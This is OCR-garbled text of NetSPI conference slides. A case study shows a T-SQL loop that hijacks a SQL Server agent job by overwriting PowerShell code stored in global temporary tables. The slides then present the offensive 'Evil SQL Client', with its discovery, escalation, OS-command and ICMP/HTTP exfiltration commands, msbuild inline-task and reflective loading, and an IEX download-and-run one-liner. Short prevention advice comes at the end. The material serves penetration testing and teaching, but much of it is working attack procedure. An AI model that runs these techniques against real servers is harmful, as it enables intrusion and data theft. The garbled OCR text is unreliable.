4 » Q Query canceled. MSSQLSRVO4\SQLSERVER2014 (1... basicuser (54) master 00:00:32 10 rows

Ready nd Col 24 Ch21 INS
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S NETSPI

CASE STUDY: VULNERABLE AGENT JOB ATTCK -

Query tempdb in Loop

View Content

We see a PowerShell
command being stored in
the temp table that creates
the file:

C:\Program Files\Microsoft SQL

Server\MSSQL12.SQLSERVER201
A\MSSQL\Log\intendedoutput.txt

ile  Edit View Query
e - 3 -

Object Explorer

Connect~ %) 39
% | MSSQLSRVOA\SQLSERV]
= (@ MSSQLSRVOA\SQLSERV

%% SQLQuery7.sql - MSSQLSRV04\SQLSERVER2014.master (basicuser (54)) Executing..* - Microsoft S... Quick Launch
Project Debug Tools Window Help

2 WP D Newauey BB D| XD 20 - | =
xecute Debug W

P - o x

E = |

B Al SQLQueny7.sql - MSS...r (54)) Executing...” & X
=-- Monitor contents of

» | Executing query...

all Global Temp Tables

»

Next record

9 % -
T Resuts |3 Messages

Myi0y
1|1 I | Wrke-Output “hello workd” | Out-Fies “C:\Program Files \Microsoft SQL Server\MSSQL 12 SQLSERVER2( 59 LS |

MSSQLSRVOS\SQLSERVER2014 (1... basicuser (54) master 00:00:45 Orows




Query tempdb in Loop

« Update Content

« We modify the PowerShell
command being stored in
the temp table to write to:

C:\Program Files\Microsoft SQL
Server\MSSQL12.SQLSERVER201
AMSSQL\Log\finishline.txt

U TROOPERS | Case Study: Vulnerable Agent Job

CASE STUDY: VULNERABLE AGENT JOB ATTCK -

Object Explorer R B update stuff.sql - M...er (54)) Executing... & X
Connect~ &7 33 i Set @PsFileName
2

# [ MSSQLSRVO4\SQLSERVI|
% | MSSQLSRVO4\SQLSERVI]

‘finishline.txt’

-- Set target directory for Powershell script to be written tc

¥ @psmyscript

Aa

S NETSPI

X~ Ishaviae

[ ¢

A gk Current Document -

SELECT @TargetDirectory AST( (SELECT S
%X) ), ' ERRORLOG" , **

VERPROPERTY

-- Create full output path for creating the PowerShell script
SELECT @PsFilePath - @TargetDirectory + @PsFileName

- Loop forever
SWHILE 1=1
=BEGIN
- Set delay
WAITFOR DELAY '0:0:1°

-- Setup variables
DECLARE @mytempname varchar (max

- Iterate through all global temp tables
= DECLARE MY_CURSOR CURSOR
FOR SELECT name FROM tempdb.
OPEN MY_CURSOR
FETCH NEXT FROM
- WHILE )
= BEGIN

WHERE name LIKE

MY_CURSOR INTO @mytempname
S = @

- Print table name
PRINT @mytempname

Y

“am%’

TOEPTIOTTE TTTRRCIR

- Update contents of known column with ps script in an unknown temp table
DECLARE @mycommand varchar (max
SET @mycommand = ‘UPDATE t1 SET t1.PSCode = ' " | Out-File "'
@psFilePath + '"'' FROM ' + @mytempname + '
EXEC (@mycommand
" SEICCT TODIC CONTENtS
DECLARE @mycommand2 varchar(max
SET @mycommand2 = 'SELECT * FROM [' + @mytempname + ']’
EXEC(@mycommand2
- Next record
FETCH NEXT FROM MY_CURSOR INTO @mytempname
END
99% ~
[ Resuts | ) Messages
3
1 1 Witte-Output “hello world™ | Out-File "C:\Program SQL Server 12.5QL SQL\L ¥
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S NETSPI

CASE STUDY: VULNERABLE AGENT JOB ATTCK -

Verify file write

Via explorer

You could also use
xp_filexist ‘C:\Program
Files\Microsoft SQL
Server\MSSQL12.SQLSE
RVER2014\MSSQL\Log\fi
nishline.txt’

NiEn | Log |- | o [
Home Share View v 9
"’ v T \ » Log v ¢ } [ Search Log P ‘

Name Date modified Type Size

__| ERRO 11/7/2019 9:01 AM File 1,534 KB
|| fd 6/20 File 2KB
| FDLA 0G File KB
__ finishline Text Document 1KB
Efj HkEngineEventFile_0_132175291190330000 Microsoft SQL Ser... 8 KB
|| intendedoutput Text Document 1KB
A log_144 SQL Server Profiler... 3,725KB
{_51 SmartAdminEvents_0_132175291278160... Microsoft SQL Ser... 5KB
Eﬂ SmartAdminEvents_Backup_0_132175291... Microsoft SQL Ser... 11 KB
% SQLAGENT 11/6/20199:52 AM  Wireshark capture... 3KB
E:_:‘I system_health_0_132175290991740000 11/6/2019 9:51 AM Microsoft SQL Ser... 4,096 KB

Mitems 1item selected 28 bytes
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PREVENTION

Don’t run code blocks that have been stored in a global temporary table.

Don’t store sensitive data or code blocks in a global temporary table.

If you need to access data across multiple sessions consider using
memory-optimized tables.

Based on my lab testing, they can provide similar performance benefits
without having to expose data to unprivileged users. For more
information check out this article from Microsoft..

BLOG: https://blog.netspi.com/exploiting-sql-server-global-temporary-table-race-conditions
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What is the Evil SQL Client?

SQL Server attack console client written in C#

Supports discovery, access, escalation, and data exfil commands

Built for pentest and red team operations

Ships with files to execute via msbuild inline tasks

Ships with files to execute via PowerShell
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Where can | get it? rw———— SR

&« C @& github.com/netspifesc * @ 6

README.md

https://github.com/netspi/esc EVILSQL

CLIENT!

Esc

Evil SQL Client (ESC)
Version: v1.0
Author: Scott Sutherland (@_nullbind), NetSPI 2020

Evil SQL Client (ESC) is an interactive .net SQL consale client with enhanced SQL Server discovery, access, and data exfiltratic
features. While ESC can be a handy SQL Client for daily tasks, it was originally designed for targeting SQL Servers during
penetration tests and red team engagements. The intent of the project is to provide an .exe, but also sample files for execut
through mediums like msbuild and PowerShell.

Most of ESC's functionality is based on the PowerUpSQL, DAFT, SQLC2, and SQLInjectionWiki projects which are also related
SQL Server. At the moment ESC does not have full feature parody with the PowerUpSQL or DAFT, but the most usefull bits a
there.

Below is a summary of what is covered in this readme:

Execution Options

» Compile source and run via exe
+ Download release and run via exe
* Download and run via msbuild

+ Download and run via PowerShell

Command Options
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Execution Options: esc.exe

Download release or compile from source

= Administrator: CA\Windows\system32\cmd.exe - esc.exe

P - B x

Execute eSC-exe C:\temp>dir /s /b esc.exe Sogelan = -]

C:\temp\esc.exe

x|
C:\temp>esc.exe Cam| o=
SALCLIENT> show help 2

Euil SOL Client (ESC)
Uersion: v1.@

Autheor: Scott Sutherland (@_nullbind), NetSPI Z';“”;:’::;“D
A SOL client with enhanced seruer discouery, access, and data exfiltration features. : A
Built for execution as a stand alone assembly, or through an alternative medium for

.net code execution such as msbuild and PowerShell.

bns

- gx

0% 4 ) - ) I =5

Output - X

Show output frem:  Build - x|ra
========== Build: 1 succeeded, @ failed, @ up-to-date, @ skipped ========== -

[7 Build succeeded 2P0 #£7 ©EC Y master«
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Execution Options: msbuild.exe

esc.csproj file contains
the esc.exe source code

In an inline task
*Technique by Casey Smith

Download esc.csproj

Run via msbuild

*Fun fact: No file path needed if
only one .csproj file exists in
directory.

B Administrator: C:\Windows\system32\cmd.exe - C:\Windows\Microsoft.N ET\Fr...M

C:\temp>dir /s /b
C:\temp\1.csproj
C:\temp\esc.exe

C:\temp>C:\Windows\Microsoft . NET\Framework\ut.0. 30319\msbuild.exe
Microsoft (R) Build Engine version 4.6.1055.0

[Microsoft .NET Framework, version 4.0.30319.42000]

Copyright (C) Microsoft Corporation. All rights reserved.

Build started 4/24/2020 8:25:20 PM.

SALCLIENT> help

Evil $OL Client (ESC)
Uersion: ul.0
Author: Scott Sutherland (@_nullbind), NetSPI

A SQL client with enhanced server discovery, access, and data exfiltration features. :

Built for execution as a stand alone assembly, or through an alternative medium for
.net code execution such as msbuild and PowerShell.

S NETSPI

mi>

SqlCommand DbQueryOutput = new SglCommand{DatabaseQuery, conndb);

conndb.Opend);

SqlDataAdapter dadb = new 5SglDatafdapter (DbQueryOutput);
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Execution Options: msbuild.exe

cxml at master - NetSPI/E. X + - o x
&« ¢ @ github.com/NetSPI/ESC/blob/master/esc.xml T Q@ e :
public override bool Execute() -

{

esclxml Contal ns a byte array Of //hda args here (Must be in the form of a string array]

string[] args = new string[] {""};

- .
eSC exe th t IS |Oad ed Vla //Compile .Net Assembly. Compress using @gmattifestation's Out-CompressedDll [ https://github.c
" a
refl eCti O n teC h n iq u eS S h ared by string compressedBin = "7X@JeFzFkXDPSDMIjasxWEPDTiRrFMVIAREEZMY It kWL YUY s CF ZRqOXPLakklidGtk X8CMA

//hdd the byte cound/size. This is captured in the Out-CompressedDll cutput file

@BoHops (GhostBuild), i comrentivie - 78

Byte[] bytesBin = new byte[compressedBiniize];

using (MemoryStream inputStream = new MemoryStream{Convert.FromBase64String{compressedBin)))

@subTee, and @mattifestation :

using (DeflateStream stream = new DeflateStream(inputStream, CompressionMode.Decompress))

stream.Read(bytesBin, @, compressedBinSize);

Down |0ad eSC_Xml // Load the bytes of the assmebly

Assembly assembly = Assembly.load(bytesBin};
// Call the entry point, in this case main

assembly.EntryPoint.Invoke(null, new object[] { args });
return true;

11

Run via msbuild

</fUsingTask>
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Execution Options: PowerShell — Loading esc.exe Assembly

Load assembly from file or byte array:

[System.Reflection.Assembly]::LoadFile("c:\\temp\esc.exe”)

or
[System.Reflection.Assembly]::Load($filebytes)

Shortcut Download PowerShell code to automatically load Evil SQL Client from a string
containing a hardcoded byte array.

IEX(New-Object
System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/ESC/master/e

sc-example.psl1")
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Execution Options: PowerShell — Executing esc.exe Functions

Call desired functions. Below are some examples:

[evilsglclient.Program+EvilCommands]::GetSQLServersBroadCast()
[evilsglclient.Program+EvilCommands]::GetSQLServersSpn()
[evilsglclient.Program+EvilCommands]::MasterDiscoveredList
[evilsglclient.Program+EvilCommands]::InstanceAllG = "enabled"
[evilsglclient.Program+EvilCommands]::CheckAccess()
[evilsglclient.Program+EvilCommands]::MasterAccessList
[evilsqglclient.Program+EvilCommands]::CheckDefaultAppPw()
[evilsqglclient.Program+EvilCommands]::CheckLoginAsPw()
[evilsqglclient.Program+EvilCommands]::MasterAccessList

PowerShell Execution Note
The interactive console currently doesn’t work through PowerShell, but all other functions do.
Hopefully, I'll fix the bug, but it’s still very usable. ©
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ESC Commands

Note: The “show settings” command will show the current configuration at any given time.

Discovery Access Gather Escalate Exfil
Discover file Check access Single instance query Check loginaspw Set File
Multi instance query Set FilePath
Discover domainspn Check defaultpw Check uncinject
List serverinfo Seticmp
Discover broadcast Show access List databases Run oscmd Set icmpip
List tables
Show discovered Export access List links Set http
List logins Set httpurl
Export discovered List rolemembers
List privs
*All query results are
exfiled via all
enabled methods.

* The data encryption functions are done, but currently they don’t encrypt exfiltrated data at this time.
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Q u ery O p tl O n S SI n g I e | n Stan C e & Administrator: C:\Windows\system32\cmd.exe - C:\Windows\Microsoft.NET\Fr...\;‘E-

SOLCLIENT> set instance MSSQLSRUGY\SQLSERVER2014

m| >

Target instance set to: MSSQLSRUG4\SQLSERUERZ014

Conflgure Slngle InSta‘nce Target SQLCLIENT> set username backdoor_account

Username set to: backdoor_account

Set targ et M SSQ LS RVO4\S Q LS E RVE R 20 14 SALCLIENT> set password backdoor_account

Set username badeoor_aCCOUnt Password set to: backdoor_account
Set password backdoor_account - : : ;
P . - B Administrator: C:\Windows\system32\cmd.exe - C:\Windows\Microsoft.NET\Fr... HE
Show settings .
SOLCLIENT> select RRuersion =
> go =
Execute query 1 instances will be targeted.

- MSSOLSRUGLHN\SAQLSERUER2014: ATTEMPTING QUERY
Select @ @version A
Go

QUERY RESULTS:

Columni

Microsoft SOL Server 2014 - 12.0.4100.1 (X64)

Apr 20 2015 17:29:27

Copyright (e¢) Microsoft Corporation

Developer Edition (64-bit) on Windows NT B.2 <XB4> (Build 9200: ) (Hypervisor)

SQLCLIENT> _
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Query Options: Multiple Instances

Run discover functions & set B Administrator: C:\Windows\system32\cmd.exe - C:\Windows\Micr... \;‘E-

m| >

. . SALCLIENT> discover domainspn
Discover domainspn

Discover broadcast Querying DomainControllerl.demo.local domain controller for SOL Server SPNs.
Discover file c:\\temp\instancelist.csv Instance SamAccountName

i mssql2014. demo. local , 1433 HSSaL2014%
Show settlngs mssgqlsruBl . demo.local\SALSERVER2012 sqlsuc

mssqlsruB3. demo. local\SALSERVER2008 sqlsuc
mssql2kS.demo. local, 1433 sqlsuc
M$SAL2016 . demo. local \MSSQLSERVER2016 MsSsSaL2016$

MSSALSRUBY . demo. local , 50939 appsuvc
MSSALSRUGY . demo . local \SALSERVER2014 appsuvc
MSSALSRUBY . demo. local , 50948 appsuvc
MSSALSRUGY . demo . local\SALSERVER2016 appsuvc

9 instances found.

SQLCLIENT> _
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S NETSPI

Query Options: Multiple Instances

Run discover functions & set

Discover domainspn

Discover broadcast

Discover file c:\\temp\instancelist.csv
Show settings

Enable multi-instance targeting

Set targetall enabled
Show settings

B Administrator: C:\Windows\system32\cmd.exe - C:\Windows\Micr... \;‘E-

SOLCLIENT> set targetall enabled
Enabled targeting of all discovered instances.

SALCLIENT> show settings

ConnsString :
TargetAll : enabled
Instance

Username

Password

UserType : CurrentlindouwsUser
Timeout : 1

Uerbose : disabled

m| >
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Query Options: Multiple Instances

B Administrator: C:\Windows\system32\cmd.exe - C:\Windows\Micr... \;‘E-

m| >

Run discover functions & set

9 instances will be targeted.

i i mesql2014.demo.local,1433: ATTEMPTING QUERY
Discover domalnspn mssql201Y4 . demo.local,1433: CONNECTION OR QUERY FAILED

Discover broadcast nssqlsrudl . demo. local\SOLSERVER2012: ATTEMPTING GUERY

DISCOVGI‘ .I:Ile C\temp\lnstancellst csv mesqlsrudl.demo.local\SALSERUER2012: CONNECTION OR QUERY FAILED

i mesqlsrud3.demo.local\SOLSERVER2008: ATTEMPTING QUERY
ShOW Settlngs mssqlsrud3. demo. local \SALSERUER2008: CONNECTION OR QUERY FAILED

mssqlZkS.demo. local , 1433: ATTEMPTING QUERY
mssql2kS.demo.local ,1433: CONNECTION OR QUERY FAILED

Enable multi-instance targeting

MSSAL2016 . demo . local\MSSALSERVER2016: ATTEMPTING QUERY
MSSALZ2016 . demo . local \MSSALSERVER2016: CONNECTION OR QUERY FAILED

Set targetall enabled MSSQLSRUGY . demo . local 50939: ATTEMPTING QUERY
Show settings : MSSOLSRUO4\SOLSERUER2014
i : DEMO
Service PID ;1584
Seruice Name : MSSOLSSOLSERVERZO1Y4
s g Service Account : LocalSystem
CheCk |n|t|a| access Authentication Mode : Windows and SOL Server Authentication

Forced Encryption
Clustered :
SOL Version : v

Check access
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Query Options: Multiple Instances

B Administrator: C:\Windows\system32\cmd.exe - C:\Windows\Micr... \;‘E-

Run discover functions & set

Discover domainspn

Discover broadcast

Discover file c:\\temp\instancelist.csv
Show settings

Enable multi-instance targeting

Set targetall enabled
Show settings

Check initial access

Check access
Show access

Service PID
Service Name
Service Account
Authentication Mode
Forced Encryption
Clustered

SAL Uersion

SAL Uersion Number
SAL Edition

SAL Service Pack
0S Architecture

0% Uersion Number

Service PID

Service Name
Service Account
Authentication Mode
Forced Encryption
Clustered

SAL Uersion

SQL Uersion Number
< m

: MSSOLSRUOYN\SQLSERVER2014

: DEMO

: 1584

: MSSOLSSOLSERUVER201Y4

: LocalSystem

: Windows and 30OL Server Authentication
: 0

: No

: 2014

: 12.0.4100.1

: Developer Edition (64-bit)
- SP1

- B.2
: DEMO\administrator

.0

: MSSOLSRUGYN\SALSERUER2016

: DEMO

: 1756

: MSSOL$SOLSERVER2016

: demoisglsuc

: Windows and $0L Server Authentication
8

: No

: 2018

: 13.0.1601.5

m| >
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Query Options: Multiple Instances

Execute query & Administrator: C:\Windows\system32\cmd.exe - C:\Windows\Micr... = o -
Select @ @version SQLCLIENT> select @Ruersion ;

> go =
Go

4 instances will be targeted.

MSSALSRUG4NSALSERVERZ2014: ATTEMPTING QUERY

QUERY RESULTS:

Columnl

Microsoft SQL Server 2014 - 12.0.4100.1 (X&4)

Apr 20 2015 17:29:27

Copyright (c) Microsoft Corporation

Developer Edition (64-bit) on Windows NT 6.2 <X64> (Build 9200: ) (Hyperviso
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Query Options: Multiple Instances

Execute query

Select @@version
Go

DatabaseName
Ouwner

Ownher is sysadmin :
CreateDate
RecoveryModel

Run Commands IsTrustuworthy

IsDbChaining

List databases

15 databases found.

& Administrator: C:\Windows\system32\cmd.exe - C:\Windows\Micr...

: MSSQLSRUBH\SQLSERVER2018

: SOLSERUER2016

: B

: ReportServer$SALSERVER2016TempDB
: MSSQLSRUBY\Administrator

1

: 9/18/2016 6:15:35 PH
: SIMPLE

: False

: False

SAQLCLIENT> list databases
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General Notes

If you mess up a command, just run:

clear

CTRL + C kills the application
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ESC Demo
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TAKE AWAYS

SQL Server instances are easy to find in Active Directory environments.

The default trust relationships between SQL Server on domain systems
and AD can lead to privilege escalation scenarios.

Attacks can originate from the internet or internal vectors

The same techniques used in PowerUpSQL can be adapted to any medium.

Be proactive about finding common issues and enabled detections.



